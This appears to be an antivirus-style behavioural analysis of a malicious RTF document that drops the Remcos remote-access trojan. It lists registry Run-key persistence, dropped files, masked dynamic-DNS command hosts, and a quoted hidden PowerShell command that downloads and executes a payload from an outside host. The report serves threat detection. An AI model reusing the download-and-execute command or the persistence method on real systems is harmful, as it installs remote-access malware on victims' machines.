Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run\] 'remcos' = '"%APPDATA%\remcos\win32.exe"'
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\] 'remcos' = '"%APPDATA%\remcos\win32.exe"'
Malicious functions
Downloads and executes
- http://ch######y.chickenkiller.com/win32/win32c.exe as %appdata%\win32c.exe
Modifies file system
Creates the following files
- %TEMP%\abdtfhghgdghghВќ.sct
- %APPDATA%\win32c.exe
- %APPDATA%\remcos\win32.exe
- %TEMP%\install.bat
- %APPDATA%\remcos\logs.dat
- <Current directory>\~wrd0000.tmp
Deletes the following files
- %TEMP%\abdtfhghgdghghВќ.sct
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- 'ch######y.chickenkiller.com':80
- 'to####345.hopto.org':50501
UDP
- DNS ASK ch######y.chickenkiller.com
- DNS ASK to####345.hopto.org
Miscellaneous
Creates and executes the following
- '%APPDATA%\win32c.exe'
- '%APPDATA%\remcos\win32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://ch######y.chickenkiller.com/win32/win32c.exe','%APPDATA%\win32c.exe');...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\install.bat" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\install.bat" "
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 2
